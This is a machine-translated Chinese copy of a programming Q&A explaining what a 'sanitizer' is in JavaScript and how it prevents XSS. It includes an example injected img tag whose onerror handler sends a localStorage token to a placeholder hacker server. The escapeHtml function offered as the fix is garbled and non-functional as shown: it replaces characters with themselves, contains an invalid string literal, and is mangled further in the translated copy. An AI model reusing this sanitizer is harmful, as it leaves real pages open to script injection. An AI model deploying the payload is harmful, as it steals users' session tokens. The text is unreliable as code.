Javascript 什么是;“消毒剂”;用JS是什么意思?
我在读一段JS代码,有几条评论说“为搜索定义消毒剂”,我不明白这是什么意思 它是指“清洁”还是“保护”?代码是关于JS搜索的,通常下面的注释是“防止删除某些单词”Javascript 什么是;“消毒剂”;用JS是什么意思?,javascript,Javascript,我在读一段JS代码,有几条评论说“为搜索定义消毒剂”,我不明白这是什么意思 它是指“清洁”还是“保护”?代码是关于JS搜索的,通常下面的注释是“防止删除某些单词” 英语不是我的第一语言,所以也许这就是我不懂的原因。如果有人能给我一个解释,我将不胜感激。当有表单时,有时人们会在表单中编写恶意代码。您不希望该代码执行,因此它会进入消毒剂以防止执行 清理不限于JS,它在SQL中也是必要的: 主要的问题是,有时您希望一些HTML标记工作,但不是全部。如果您允许在博客或论坛上执行,并且有人登录,恶意用户可
英语不是我的第一语言,所以也许这就是我不懂的原因。如果有人能给我一个解释,我将不胜感激。当有表单时,有时人们会在表单中编写恶意代码。您不希望该代码执行,因此它会进入消毒剂以防止执行 清理不限于JS,它在SQL中也是必要的:
主要的问题是,有时您希望一些HTML标记工作,但不是全部。如果您允许在博客或论坛上执行
,并且有人登录,恶意用户可能会获取他们的登录信息并造成严重破坏。在javascript生态系统中,它主要用于防止XSS(跨站点脚本)攻击,这是一种攻击类型,黑客利用前端代码中的漏洞在其他浏览器中执行恶意javascript(窃取他们的令牌、密码甚至更多)
这种类型的攻击利用用户输入绑定到html视图或使用不安全函数eval(将字符串作为代码进行评估)来执行他们想要的代码让我们举一个例子来说明这一点:
如果您有一个用户输入,将url带到他的个人资料图片,则该图片将通过img标记的src属性显示:
<img src="userProfilePictureURL" />
最重要的部分是第一次关闭“在onerror关闭src属性并允许其他属性进入并在其上注入javascript之前”,存储的结果是:
<img src="http://falseurl.com/img.png" onerror="fetch('thehackerserverUrl',{localstorage.token})">
由于url不存在,它将退回到onerror处理程序并将令牌发送给黑客。
为了防止这种任意代码注入,我们主要通过转义这些字符来清理用户输入,并用它们各自的html安全名称代码替换它们。
这样,恶意代码将作为字符串而不是可执行代码添加
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
函数escapeHtml(不安全){
不安全返回
.替换(/&/g,“&;”)
.replace(//g,“”)
.替换(/“/g,”)
.替换(/'/g,';);
}
如果你能提供一个链接到你看到这条评论的代码,你会得到更多有用的答案。@DillanWilding我在图片下面放了这样的东西:þ
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}